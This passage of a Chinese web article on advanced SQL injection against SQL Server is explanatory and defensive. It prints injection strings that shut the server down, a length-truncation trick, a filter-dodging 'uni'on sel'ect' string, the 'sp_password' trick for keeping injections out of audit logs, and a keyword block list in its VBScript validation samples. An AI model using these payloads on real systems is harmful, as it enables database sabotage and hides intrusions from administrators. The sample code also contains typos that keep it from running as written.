即使這樣攻擊依然可能實(shí)現(xiàn):如果攻擊者可以不經(jīng)過程序而往系統(tǒng)插入數(shù)據(jù)。比如攻擊者有一個(gè)email接口,或者有一個(gè)可以控制的錯(cuò)誤記錄數(shù)據(jù)庫(kù)。最好總是驗(yàn)證所有的數(shù)據(jù),包括系統(tǒng)里的數(shù)據(jù),驗(yàn)證函數(shù)調(diào)用很簡(jiǎn)單,比如:
if ( not isValied( "email", request.querystring("emil") ) ) then
response.end
或者其他的方法
[長(zhǎng)度限制]
有時(shí)候輸入對(duì)數(shù)據(jù)的長(zhǎng)度加以限制會(huì)使攻擊困難許多,這的確阻止了一些攻擊,但一個(gè)很短的SQL語句也可能造成非常大的危害:
Username: ';shutdown--
關(guān)閉SQL-Server,只用了12個(gè)字符。另一個(gè)例子:
drop table
如果長(zhǎng)度限制是在字符串過濾后,另一個(gè)問題可能會(huì)發(fā)生。假設(shè)用戶名被限制在16個(gè)字符之內(nèi),密碼也被限制在16個(gè)字符之內(nèi),下面的用戶名和密碼結(jié)合可以執(zhí)行'shutdown'命令:
Username:aaaaaaaaaaaaaaa'
Password:'; shutdown--
原因是程序過濾用戶名最后的單引號(hào),但是字符串又被切回到16個(gè)字符,刪除了過濾的單引號(hào)。結(jié)果是密碼域可以包含一些SQL, 只要它以一個(gè)單引號(hào)開始,最后的查詢會(huì)變成這樣:
select * from users where username = 'aaaaaaaaaaaaaa'' and password=''';shutdown--
用戶名在查詢里就變成:
aaaaaaaaaaaaaaa' and password='
后面附上的SQL被執(zhí)行。
[躲避審核]
SQL Server在sp_traceXXX系列的函數(shù)包含豐富審核接口,它可以記錄任何數(shù)據(jù)庫(kù)里的事件。這里我們特別感興趣的是T-SQL事件,它記錄了所有的SQL語句以及服務(wù)器上準(zhǔn)備好的和已運(yùn)行了的批處理。如果這個(gè)級(jí)別的審核開啟的話,所有我們討論的注入都將被記錄下來有經(jīng)驗(yàn)的數(shù)據(jù)庫(kù)管理員將會(huì)看到所有發(fā)生的事情。但是如果攻擊者附加下面的字符:
sp_password
到一個(gè)Transact-SQL語句,這個(gè)審核記錄如下:
-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.
這在所有的的T-SQL日志記錄時(shí)都會(huì)發(fā)生,即使'sp_password'出現(xiàn)在注釋中。這當(dāng)然是在用戶傳遞sp_password時(shí)有意隱藏用戶的明文密碼,但這對(duì)攻擊者相當(dāng)有用。
所以,為了隱藏所有的注入攻擊者只需要在注釋符'--'后面加一個(gè)字符串:
Username: admin'--sp_password
事實(shí)上一些執(zhí)行了的SQL將被記錄,但是查詢字符串本身被強(qiáng)制不記錄。
[防 范]
這部分討論一些針對(duì)這些攻擊的防范措施。輸入驗(yàn)證已經(jīng)討論過了,一些代碼也給出了,后面我們研究SQL-Server防范問題。
[輸入驗(yàn)證]
輸入驗(yàn)證是一個(gè)很復(fù)雜的問題。一般在一個(gè)開發(fā)項(xiàng)目中它很少被注意,因?yàn)檫^度的驗(yàn)證往往使一個(gè)程序的某部分被打斷,所以輸入驗(yàn)證是個(gè)難題。輸入驗(yàn)證往往不加到程序的功能里,因而在工期將至而趕程序時(shí)不會(huì)被人注意。
下面是關(guān)于驗(yàn)證的簡(jiǎn)單的討論附示例代碼,這個(gè)示例代碼當(dāng)然不能直接用在程序里,但可以很好的說明不同的策略。
各種數(shù)據(jù)驗(yàn)證的途徑可以分類為以下幾種:
1)整理數(shù)據(jù)使之變得有效
2)拒絕已知的非法輸入
3)只接受已知的合法的輸入
有很多概念上的問題;首先,開發(fā)者沒有必要知道非法數(shù)據(jù)由什么組成,因?yàn)樾滦问降姆欠〝?shù)據(jù)隨時(shí)都可能產(chǎn)生。第二,改變數(shù)據(jù)會(huì)改變它的長(zhǎng)度,這樣會(huì)導(dǎo)致前面提到的問題。最后,還有需要對(duì)系統(tǒng)已有數(shù)據(jù)的重用的話有二次注入的問題.
解決方案2也會(huì)遇到和1的一些相似的問題,了解非法數(shù)據(jù)會(huì)過時(shí),因?yàn)樾碌墓艏夹g(shù)也在發(fā)展。
解決方案3可能是三種方法中最好的,但是比較難于執(zhí)行。
從安全角度來考慮可能最好多解決方法是把解決方案2和3結(jié)合起來只允許合法的輸入,然后再尋找非法字符。
一個(gè)必須結(jié)合這兩種途徑的例子是帶有連字符的名字的問題:
Question Bassington-Bassington
我們必須在合法輸入里允許連字符號(hào),但是也要明白字符串'--'在SQL-Server里意味著什么。
當(dāng)數(shù)據(jù)整理結(jié)合了非法字符驗(yàn)證時(shí)另一個(gè)問題就會(huì)發(fā)生。假設(shè)我們應(yīng)用“非法字符探測(cè)器”來探測(cè)'--','select'和'union'”后使用“數(shù)據(jù)整理過濾器”刪除單引號(hào),攻擊者就可以指定這樣的輸入:
uni'on sel'ect @@version-'-
因?yàn)閱我?hào)被過濾器刪除了,攻擊者可以把單引號(hào)散布于它的已知的非法字符串里來躲避檢查。
下面是一些驗(yàn)證的代碼:
方法1-躲避單引號(hào)
復(fù)制代碼 代碼如下:

function escape( input )
input = replace(input, "'", "''")
escape = input
end function

方法2-抵制已知的非法輸入
復(fù)制代碼 代碼如下:

function validate_string( input )
know_bad = array( "select", "insert", "update", "delete", "drop", "--", "'")
validate_string = true
for i = lbound( know_bad ) to ubound( known_bad )
if( instr( 1, input, known_bad(i), vbtextcompare) > 0 )
validate_string = false
exit function
end if
next
end function

方法3-只允許合法輸入
復(fù)制代碼 代碼如下:

function validatepassword( input )
good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( instr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function
您可能感興趣的文章:
  • 利用SQL注入漏洞登錄后臺(tái)的實(shí)現(xiàn)方法
  • 有效防止SQL注入的5種方法總結(jié)
  • 利用SQL注入漏洞拖庫(kù)的方法
  • SQL注入中繞過 單引號(hào) 限制繼續(xù)注入
  • sql注入之手工注入示例詳解
  • MySQL 及 SQL 注入與防范方法
  • 防御SQL注入的方法總結(jié)
  • SQL 注入式攻擊的終極防范
  • 關(guān)于SQL注入中文件讀寫的方法總結(jié)
  • sql注入教程之類型以及提交注入

標(biāo)簽:仙桃 湖南 崇左 黃山 蘭州 衡水 銅川 湘潭

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《SQL數(shù)據(jù)庫(kù)的高級(jí)sql注入的一些知識(shí)》,本文關(guān)鍵詞  ;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 收縮
    • 微信客服
    • 微信二維碼
    • 電話咨詢

    • 400-1100-266
    姜堰市| 丰都县| 德化县| 通河县| 沛县| 贵南县| 边坝县| 宝坻区| 珠海市| 奉新县| 福海县| 四会市| 玉田县| 武汉市| 甘孜| 安义县| 综艺| 安仁县| 山西省| 黑龙江省| 武陟县| 阿图什市| 洪泽县| 临汾市| 寻乌县| 武隆县| 太和县| 邓州市| 禹城市| 云浮市| 榆树市| 平泉县| 疏附县| 南岸区| 海盐县| 五常市| 灵台县| 固镇县| 陇川县| 辽中县| 遂溪县|